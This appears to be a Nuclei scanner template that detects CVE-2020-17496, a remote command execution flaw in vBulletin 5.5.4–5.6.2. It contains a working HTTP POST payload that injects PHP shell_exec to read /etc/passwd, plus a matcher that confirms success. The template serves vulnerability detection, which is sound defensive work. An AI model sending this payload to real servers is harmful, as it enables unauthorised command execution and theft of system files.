41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2020-17496
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info:
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name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
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author: pussycat0x
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severity: critical
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description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
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reference:
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- https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17496
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- https://seclists.org/fulldisclosure/2020/Aug/5
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- https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-17496
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cwe-id: CWE-74
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tags: cve,cve2020,vbulletin,rce
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requests:
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- raw:
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- |
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POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/04/27
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